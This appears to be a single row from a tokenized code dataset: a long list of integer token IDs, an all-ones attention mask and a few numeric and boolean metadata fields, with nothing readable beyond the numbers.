6589,
331,
1948,
451,
341,
6994,
6153,
5062,
1196,
1522,
222,
338,
244,
55,
7979,
642,
477,
1409,
64,
434,
666,
49,
2886,
391,
341,
7834,
3870,
7120,
49,
222,
338,
6367,
4345,
244,
58,
54,
34113,
1277,
49,
33316,
26912,
49,
25006,
49,
13083,
244,
53,
55,
54,
54,
53,
50,
54,
56,
53,
54,
15067,
51,
222,
338,
222,
338,
5304,
7272,
17980,
49,
244,
58,
53,
53,
17980,
27004,
3094,
49,
4777,
21100,
2432,
6868,
49,
10562,
244,
62,
57,
53,
59,
58,
15067,
222,
338,
575,
7739,
19955,
51,
11116,
51,
527,
434,
863,
1868,
5408,
2490,
575,
1178,
1364,
222,
338,
10034,
51,
222,
588,
222,
222,
1127,
222,
338,
496,
881,
19135,
18897,
976,
222,
338,
496,
1386,
1369,
913,
1152,
5268,
331,
462,
1998,
391,
5016,
341,
462,
29028,
51,
222,
338,
496,
13980,
8510,
51,
2238,
51,
3242,
51,
1359,
1079,
6709,
222,
338,
496,
3490,
1401,
51,
1460,
52,
12461,
51,
3269,
51,
14495,
222,
338,
496,
5261,
536,
881,
52,
1379,
222,
338,
496,
5261,
6052,
222,
338,
496,
1848,
15315,
51,
8156,
7529,
51,
11076,
1723,
913,
51,
2779,
222,
338,
496,
1967,
5419,
614,
4532,
51,
881,
51,
1379,
51,
8789,
51,
1359,
991,
30582,
15315,
51,
8156,
7529,
51,
11076,
1723,
222,
338,
496,
1967,
2594,
52,
2476,
3166,
449,
93,
3621,
33423,
52,
102,
15696,
449,
93,
8200,
61,
114,
449,
2931,
30041,
13104,
24031,
5064,
2045,
449,
2931,
30041,
11076,
1723,
2571,
19135,
18897,
976,
222,
588,
222,
222,
485,
15315,
51,
8156,
7529,
51,
11076,
1723,
64,
222,
485,
614,
4532,
51,
881,
51,
1379,
51,
842,
4579,
51,
1359,
42315,
5248,
64,
222,
222,
1350,
222,
338,
2128,
708,
47395,
708,
6052,
904,
666,
725,
5907,
1429,
2835,
3756,
451,
10656,
904,
21318,
391,
3049,
51,
222,
588,
222,
942,
462,
19135,
18897,
976,
320,
353,
964,
924,
1175,
910,
2631,
299,
332,
881,
51,
2779,
884,
353,
964,
924,
1175,
24759,
1723,
34815,
299,
24759,
1723,
51,
390,
11076,
1723,
492,
353,
581,
924,
2210,
15821,
299,
762,
64,
736,
581,
924,
782,
2594,
45,
671,
1198,
2194,
46,
2589,
3284,
320,
303,
46108,
1553,
299,
1727,
42315,
5248,
51,
909,
20422,
492,
303,
1727,
11667,
300,
299,
1553,
51,
963,
1359,
45,
8686,
312,
303,
2210,
356,
299,
300,
51,
20237,
492,
303,
1553,
299,
762,
64,
300,
299,
762,
64,
303,
15821,
299,
356,
64,
465,
320,
310,
1922,
458,
18897,
299,
34815,
51,
316,
1359,
18897,
45,
8686,
312,
310,
1189,
51,
560,
51,
3962,
459,
881,
976,
327,
54,
46,
29028,
63,
332,
494,
458,
18897,
312,
603,
1727,
42315,
5248,
51,
5077,
2811,
3848,
316,
18897,
49,
332,
3179,
545,
29028,
742,
303,
339,
465,
1727,
42315,
5248,
51,
7513,
1079,
6709,
492,
465,
320,
310,
1922,
458,
18897,
299,
34815,
51,
316,
1359,
18897,
45,
8686,
312,
310,
1189,
51,
560,
51,
3962,
459,
881,
976,
327,
55,
46,
29028,
63,
332,
494,
458,
18897,
312,
603,
1727,
42315,
5248,
51,
5077,
2811,
3848,
316,
18897,
49,
332,
3179,
545,
29028,
742,
303,
339,
303,
356,
299,
762,
64,
303,
15821,
299,
762,
64,
303,
1727,
42315,
5248,
51,
7513,
1079,
6709,
492,
465,
320,
310,
1922,
458,
18897,
299,
34815,
51,
316,
1359,
18897,
45,
8686,
312,
310,
1189,
51,
560,
51,
3962,
459,
881,
976,
327,
56,
46,
29028,
63,
332,
494,
458,
18897,
312,
310,
1727,
42315,
5248,
51,
5077,
2811,
45,
316,
18897,
49,
332,
3179,
545,
725,
5907,
742,
303,
339,
736,
339,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 765
| true
| 70.091485
| true
| true
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.